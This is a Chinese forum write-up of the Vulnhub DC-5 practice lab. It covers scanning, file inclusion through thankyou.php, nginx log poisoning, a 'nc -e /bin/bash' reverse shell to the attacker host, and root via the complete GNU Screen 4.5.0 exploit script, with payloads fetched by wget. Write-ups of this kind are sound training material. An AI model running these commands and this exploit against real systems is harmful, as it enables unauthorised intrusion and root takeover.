Vulnhub靶机分泌-DC5

[复制链接]
发表于 2025-10-29 23:30:07 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
流程包罗对Screen 4.5.0利用POC的“ version `GLIBC_2.34’ not found”报错题目办理
  1. └─# arp-scan -l | grep 08:00:27:a0
  2. 192.168.1.101   08:00:27:a0:90:d4       PCS Systemtechnik GmbH
复制代码
  1. └─# nmap -Pn -p- -A 192.168.1.101 -o nmap.txt
  2. Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 16:10 CST
  3. Nmap scan report for 192.168.1.101
  4. Host is up (0.00027s latency).
  5. Not shown: 65532 closed tcp ports (reset)
  6. PORT      STATE SERVICE VERSION
  7. 80/tcp    open  http    nginx 1.6.2
  8. |_http-server-header: nginx/1.6.2
  9. |_http-title: Welcome
  10. 111/tcp   open  rpcbind 2-4 (RPC #100000)
  11. | rpcinfo:
  12. |   program version    port/proto  service
  13. |   100000  2,3,4        111/tcp   rpcbind
  14. |   100000  2,3,4        111/udp   rpcbind
  15. |   100000  3,4          111/tcp6  rpcbind
  16. |   100000  3,4          111/udp6  rpcbind
  17. |   100024  1          38260/tcp   status
  18. |   100024  1          43672/tcp6  status
  19. |   100024  1          46899/udp6  status
  20. |_  100024  1          48339/udp   status
  21. 38260/tcp open  status  1 (RPC #100024)
  22. MAC Address: 08:00:27:A0:90:D4 (Oracle VirtualBox virtual NIC)
  23. Device type: general purpose
  24. Running: Linux 3.X|4.X
  25. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  26. OS details: Linux 3.2 - 4.9
  27. Network Distance: 1 hop
  28. TRACEROUTE
  29. HOP RTT     ADDRESS
  30. 1   0.27 ms 192.168.1.101
  31. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  32. Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds
复制代码
  1. └─# dirsearch -u http://192.168.1.101
  2. /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  3.   from pkg_resources import DistributionNotFound, VersionConflict
  4.   _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                                     
  5. (_||| _) (/_(_|| (_| )                                                                                                                                                                              
  6.                                                                                                                                                                                                       
  7. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
  8. Output File: /root/Vulnhub/DC5/reports/http_192.168.1.101/_25-02-12_16-14-03.txt
  9. Target: http://192.168.1.101/
  10. [16:14:03] Starting:                                                                                                                                                                                 
  11. [16:14:16] 200 -    4KB - /contact.php                                      
  12. [16:14:17] 301 -  184B  - /css  ->  http://192.168.1.101/css/               
  13. [16:14:19] 200 -    6KB - /faq.php
  14. # 扫到footer.php,每次刷新都会变化;刷新在Web主页Contact填写信息后跳转的thankyou.php也会变化,那么大概率是有包含
  15. [16:14:20] 200 -   17B  - /footer.php                                       
  16. [16:14:21] 301 -  184B  - /images  ->  http://192.168.1.101/images/         
  17. [16:14:21] 403 -  570B  - /images/                                          
  18. [16:14:38] 200 -  852B  - /thankyou.php                                       
  19.                                                                              
  20. Task Completed
复制代码
实验bp爆破包罗文件的参数,字典用项目paramDict中的burp.txt即可

得到参数为file

先检察一下Nginx的设置,http://192.168.1.101/thankyou.php?file=/etc/nginx/nginx.conf
开启了访问日记(access_log)和错误日记(error_log)

先看一下错误日记,http://192.168.1.101/thankyou.php?file=/var/log/nginx/error.log
可以看到记载了referrer头和url

实验欣赏器传马,会发现<>被欣赏器转译

利用bp传马

测试可实行

反弹shell
先监听,bp再发包,nc -e /bin/bash 192.168.1.99 8888

  1. └─# nc -lvvp 8888                                                                                                                                                                                    
  2. listening on [any] 8888 ...
  3. 192.168.1.101: inverse host lookup failed: Unknown host
  4. connect to [192.168.1.99] from (UNKNOWN) [192.168.1.101] 36679
  5. whoami
  6. www-data
  7. python -c 'import pty; pty.spawn("/bin/bash")'
  8. www-data@dc-5:~/html$
复制代码
提权
  1. www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
  2. find / -perm -u=s -type f 2>/dev/null
  3. /bin/su
  4. /bin/mount
  5. /bin/umount
  6. /bin/screen-4.5.0
  7. /usr/bin/gpasswd
  8. /usr/bin/procmail
  9. /usr/bin/at
  10. /usr/bin/passwd
  11. /usr/bin/chfn
  12. /usr/bin/newgrp
  13. /usr/bin/chsh
  14. /usr/lib/openssh/ssh-keysign
  15. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  16. /usr/lib/eject/dmcrypt-get-device
  17. /usr/sbin/exim4
  18. /sbin/mount.nfs
复制代码
exim不能完全得到root权限,用screen作为突破口
  1. └─# searchsploit --id screen
  2. -------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  3. Exploit Title                                                                                                                                                      |  EDB-ID
  4. -------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  5. GNU Screen 4.5.0 - Local Privilege Escalation                                                                                                                       | 41154
  6. └─# searchsploit -p 41154
  7.   Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
  8.       URL: https://www.exploit-db.com/exploits/41154
  9.      Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
  10.     Codes: N/A
  11. Verified: True
  12. File Type: Bourne-Again shell script, ASCII text executable
  13. ┌──(root㉿kali)-[~]
  14. └─# cp /usr/share/exploitdb/exploits/linux/local/41154.sh /root/Vulnhub/DC5/screen.sh     
  15. ┌──(root㉿kali)-[~]
  16. └─# cd Vulnhub/DC5/           
  17. # 开启http服务
  18. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  19. └─# python -m http.server 9999
  20. Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
  21. └─# cat screen.sh
  22. #!/bin/bash
  23. # screenroot.sh
  24. # setuid screen v4.5.0 local root exploit
  25. # abuses ld.so.preload overwriting to get root.
  26. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
  27. # HACK THE PLANET
  28. # ~ infodox (25/1/2017)
  29. echo "~ gnu/screenroot ~"
  30. echo "[+] First, we create our shell and library..."
  31. cat << EOF > /tmp/libhax.c
  32. #include <stdio.h>
  33. #include <sys/types.h>
  34. #include <unistd.h>
  35. __attribute__ ((__constructor__))
  36. void dropshell(void){
  37.     chown("/tmp/rootshell", 0, 0);
  38.     chmod("/tmp/rootshell", 04755);
  39.     unlink("/etc/ld.so.preload");
  40.     printf("[+] done!\n");
  41. }
  42. EOF
  43. gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
  44. rm -f /tmp/libhax.c
  45. cat << EOF > /tmp/rootshell.c
  46. #include <stdio.h>
  47. int main(void){
  48.     setuid(0);
  49.     setgid(0);
  50.     seteuid(0);
  51.     setegid(0);
  52.     execvp("/bin/sh", NULL, NULL);
  53. }
  54. EOF
  55. gcc -o /tmp/rootshell /tmp/rootshell.c
  56. rm -f /tmp/rootshell.c
  57. echo "[+] Now we create our /etc/ld.so.preload file..."
  58. cd /etc
  59. umask 000 # because
  60. screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
  61. echo "[+] Triggering..."
  62. screen -ls # screen itself is setuid, so...
  63. /tmp/rootshell
复制代码
根据文件内容创建文件
  1. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  2. └─# vim libhax.c                                                                              
  3.         内容
  4.                 #include <stdio.h>
  5.                 #include <sys/types.h>
  6.                 #include <unistd.h>
  7.                 __attribute__ ((__constructor__))
  8.                 void dropshell(void){
  9.                     chown("/tmp/rootshell", 0, 0);
  10.                     chmod("/tmp/rootshell", 04755);
  11.                     unlink("/etc/ld.so.preload");
  12.                     printf("[+] done!\n");
  13.                 }
  14. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  15. └─# vim rootshell.c
  16.         内容
  17.                 #include <stdio.h>
  18.                 int main(void){
  19.                     setuid(0);
  20.                     setgid(0);
  21.                     seteuid(0);
  22.                     setegid(0);
  23.                     execvp("/bin/sh", NULL, NULL);
  24.                 }
  25. #  编译
  26. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  27. └─# gcc -fPIC -shared -ldl -o libhax.so libhax.c                                                                                                                                                      
  28. libhax.c: In function 'dropshell':
  29. libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
  30.     7 |     chmod("/tmp/rootshell", 04755);
  31.       |     ^~~~~
  32. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  33. └─# gcc -o rootshell rootshell.c
  34. rootshell.c: In function 'main':
  35. rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
  36.     3 |     setuid(0);
  37.       |     ^~~~~~
  38. rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
  39.     4 |     setgid(0);
  40.       |     ^~~~~~
  41. rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
  42.     5 |     seteuid(0);
  43.       |     ^~~~~~~
  44. rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
  45.     6 |     setegid(0);
  46.       |     ^~~~~~~
  47. rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
  48.     7 |     execvp("/bin/sh", NULL, NULL);
  49.       |     ^~~~~~
  50. rootshell.c:7:5: warning: too many arguments to built-in function 'execvp' expecting 2 [-Wbuiltin-declaration-mismatch]
  51. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  52. └─# ls
  53. arp-scan.txt  libhax.c  libhax.so  nmap.txt  reports  rootshell  rootshell.c  screen.sh
  54. # 删除所有c文件
  55. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  56. └─# rm *.c                                                                                                                                                                                            
  57. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  58. └─# ls                                                                                                                                                                                                
  59. arp-scan.txt  libhax.so  nmap.txt  reports  rootshell  screen.sh
  60. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  61. └─# cat -n screen.sh                                                                                                                                                                                 
  62.      1  #!/bin/bash
  63.      2  # screenroot.sh
  64.      3  # setuid screen v4.5.0 local root exploit
  65.      4  # abuses ld.so.preload overwriting to get root.
  66.      5  # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
  67.      6  # HACK THE PLANET
  68.      7  # ~ infodox (25/1/2017)
  69.      8  echo "~ gnu/screenroot ~"
  70.      9  echo "[+] First, we create our shell and library..."
  71.     10  cat << EOF > /tmp/libhax.c
  72.     11  #include <stdio.h>
  73.     12  #include <sys/types.h>
  74.     13  #include <unistd.h>
  75.     14  __attribute__ ((__constructor__))
  76.     15  void dropshell(void){
  77.     16      chown("/tmp/rootshell", 0, 0);
  78.     17      chmod("/tmp/rootshell", 04755);
  79.     18      unlink("/etc/ld.so.preload");
  80.     19      printf("[+] done!\n");
  81.     20  }
  82.     21  EOF
  83.     22  gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
  84.     23  rm -f /tmp/libhax.c
  85.     24  cat << EOF > /tmp/rootshell.c
  86.     25  #include <stdio.h>
  87.     26  int main(void){
  88.     27      setuid(0);
  89.     28      setgid(0);
  90.     29      seteuid(0);
  91.     30      setegid(0);
  92.     31      execvp("/bin/sh", NULL, NULL);
  93.     32  }
  94.     33  EOF
  95.     34  gcc -o /tmp/rootshell /tmp/rootshell.c
  96.     35  rm -f /tmp/rootshell.c
  97.     36  echo "[+] Now we create our /etc/ld.so.preload file..."
  98.     37  cd /etc
  99.     38  umask 000 # because
  100.     39  screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
  101.     40  echo "[+] Triggering..."
  102.     41  screen -ls # screen itself is setuid, so...
  103.     42  /tmp/rootshell
复制代码
  1. # 删除1-36行内容
  2. ┌──(root㉿kali)-[~/Vulnhub/DC5]
  3. └─# vim screen.sh
  4.         内容
  5.                 cd /etc
  6.                 umask 000 # because
  7.                 screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
  8.                 echo "[+] Triggering..."
  9.                 screen -ls # screen itself is setuid, so...
  10.                 /tmp/rootshell
复制代码
下载到/tmp目次
  1. www-data@dc-5:/tmp$ wget http://192.168.1.99:9999/screen.sh
  2. wget http://192.168.1.99:9999/screen.sh
  3. converted 'http://192.168.1.99:9999/screen.sh' (ANSI_X3.4-1968) -> 'http://192.168.1.99:9999/screen.sh' (UTF-8)
  4. --2025-02-13 19:44:44--  http://192.168.1.99:9999/screen.sh
  5. Connecting to 192.168.1.99:9999... connected.
  6. HTTP request sent, awaiting response... 200 OK
  7. Length: 190 [text/x-sh]
  8. Saving to: 'screen.sh'
  9. screen.sh           100%[=====================>]     190  --.-KB/s   in 0s     
  10. 2025-02-13 19:44:44 (44.8 MB/s) - 'screen.sh' saved [190/190]
  11. www-data@dc-5:/tmp$ wget http://192.168.1.99:9999/libhax.so
  12. wget http://192.168.1.99:9999/libhax.so
  13. converted 'http://192.168.1.99:9999/libhax.so' (ANSI_X3.4-1968) -> 'http://192.168.1.99:9999/libhax.so' (UTF-8)
  14. --2025-02-13 19:45:08--  http://192.168.1.99:9999/libhax.so
  15. Connecting to 192.168.1.99:9999... connected.
  16. HTTP request sent, awaiting response... 200 OK
  17. Length: 15528 (15K) [application/octet-stream]
  18. Saving to: 'libhax.so'
  19. libhax.so           100%[=====================>]  15.16K  --.-KB/s   in 0.01s  
  20. 2025-02-13 19:45:08 (1.51 MB/s) - 'libhax.so' saved [15528/15528]
  21. www-data@dc-5:/tmp$ wget http://192.168.1.99:9999/rootshell
  22. wget http://192.168.1.99:9999/rootshell
  23. converted 'http://192.168.1.99:9999/rootshell' (ANSI_X3.4-1968) -> 'http://192.168.1.99:9999/rootshell' (UTF-8)
  24. --2025-02-13 19:45:17--  http://192.168.1.99:9999/rootshell
  25. Connecting to 192.168.1.99:9999... connected.
  26. HTTP request sent, awaiting response... 200 OK
  27. Length: 16168 (16K) [application/octet-stream]
  28. Saving to: 'rootshell'
  29. rootshell           100%[=====================>]  15.79K  --.-KB/s   in 0s     
  30. 2025-02-13 19:45:17 (505 MB/s) - 'rootshell' saved [16168/16168]
  31. www-data@dc-5:/tmp$ ls
  32. ls
  33. libhax.so  rootshell  screen.sh
复制代码
赋予文件权限并实行
  1. www-data@dc-5:/tmp$ chmod 777 screen.sh
  2. chmod 777 screen.sh
  3. www-data@dc-5:/tmp$ ./screen.sh
  4. ./screen.sh
  5. [+] Triggering...
  6. ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
  7. [+] done!
  8. No Sockets found in /tmp/screens/S-www-data.
  9. /tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
  10. # 正常流程这里会返回root权限,看报错问题出在版本,问题文件是rootshell
  11. www-data@dc-5:/tmp$ id
  12. id
  13. uid=33(www-data) gid=33(www-data) groups=33(www-data)
复制代码
引用大佬文章的一段话
  1. 出现报错的原因就是在靶机环境中没有找到GLIBC_2.34版本
  2. 因为反弹shell得到靶机的shell环境比较难用,所以大部分人会在自己主机编译完最后再把文件传入到靶机环境中,这样比较方便
  3. 但是当把rootshell.c文件在自己kali主机上使用gcc命令编译时,如果自己主机的GLIBC版本比较高,而dc5靶机的版本较低时就会出现上面的报错
  4. ————————————————
  5.                             版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
  6.                         
  7. 原文链接:https://blog.csdn.net/weixin_73904941/article/details/142856475
复制代码
那么我们将rootshell.c在靶机中编译
  1. www-data@dc-5:/tmp$ wget http://192.168.1.99:8888/rootshell.c
  2. wget http://192.168.1.99:8888/rootshell.c
  3. converted 'http://192.168.1.99:8888/rootshell.c' (ANSI_X3.4-1968) -> 'http://192.168.1.99:8888/rootshell.c' (UTF-8)
  4. --2025-02-14 11:46:47--  http://192.168.1.99:8888/rootshell.c
  5. Connecting to 192.168.1.99:8888... connected.
  6. HTTP request sent, awaiting response... 200 OK
  7. Length: 135 [text/x-csrc]
  8. Saving to: 'rootshell.c'
  9. rootshell.c         100%[=====================>]     135  --.-KB/s   in 0s     
  10. 2025-02-14 11:46:47 (33.0 MB/s) - 'rootshell.c' saved [135/135]
  11. www-data@dc-5:/tmp$ gcc -o rootshell rootshell.c
  12. gcc -o rootshell rootshell.c
  13. # 找不到cc1的位置
  14. gcc: error trying to exec 'cc1': execvp: No such file or directory
  15. # 查找本机中是否有
  16. www-data@dc-5:/tmp$ find / -name cc1 2>/dev/null
  17. find / -name cc1 2>/dev/null
  18. /usr/lib/gcc/x86_64-linux-gnu/4.9/cc1
  19. # 查看环境变量中是否有gcc的安装路径
  20. www-data@dc-5:/tmp$ echo $PATH
  21. echo $PATH
  22. /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
  23. # 添加临时环境变量
  24. www-data@dc-5:/tmp$ export PATH="/usr/lib:$PATH"
  25. export PATH="/usr/lib:$PATH"
  26. # 很好,编译成功!
  27. www-data@dc-5:/tmp$ gcc -o rootshell rootshell.c
  28. gcc -o rootshell rootshell.c
  29. www-data@dc-5:/tmp$ ls
  30. ls
  31. rootshell  rootshell.c
  32. # 再次尝试
  33. www-data@dc-5:/tmp$ ./screen.sh
  34. ./screen.sh
  35. [+] Triggering...
  36. ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
  37. [+] done!
  38. No Sockets found in /tmp/screens/S-www-data.
复制代码
Flag

  1. # id
  2. id
  3. # 成功提权root!
  4. uid=0(root) gid=0(root) groups=0(root),33(www-data)
  5. # find / -name *flag.*
  6. find / -name *flag.*
  7. /usr/share/man/man3/fegetexceptflag.3.gz
  8. /usr/share/man/man3/fesetexceptflag.3.gz
  9. /root/thisistheflag.txt
  10. # cat /root/thisistheflag.txt
  11. cat /root/thisistheflag.txt
  12. 888b    888 d8b                                                      888      888 888 888
  13. 8888b   888 Y8P                                                      888      888 888 888
  14. 88888b  888                                                          888      888 888 888
  15. 888Y88b 888 888  .d8888b .d88b.       888  888  888  .d88b.  888d888 888  888 888 888 888
  16. 888 Y88b888 888 d88P"   d8P  Y8b      888  888  888 d88""88b 888P"   888 .88P 888 888 888
  17. 888  Y88888 888 888     88888888      888  888  888 888  888 888     888888K  Y8P Y8P Y8P
  18. 888   Y8888 888 Y88b.   Y8b.          Y88b 888 d88P Y88..88P 888     888 "88b  "   "   "  
  19. 888    Y888 888  "Y8888P "Y8888        "Y8888888P"   "Y88P"  888     888  888 888 888 888
  20.                                                                                           
  21.                                                                                           
  22. Once again, a big thanks to all those who do these little challenges,
  23. and especially all those who give me feedback - again, it's all greatly
  24. appreciated.  :-)
  25. I also want to send a big thanks to all those who find the vulnerabilities
  26. and create the exploits that make these challenges possible.
复制代码
总结

过细观察测试每一个页面,都大概存在突破口
遇到报错不张皇,过细地逐步办理
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表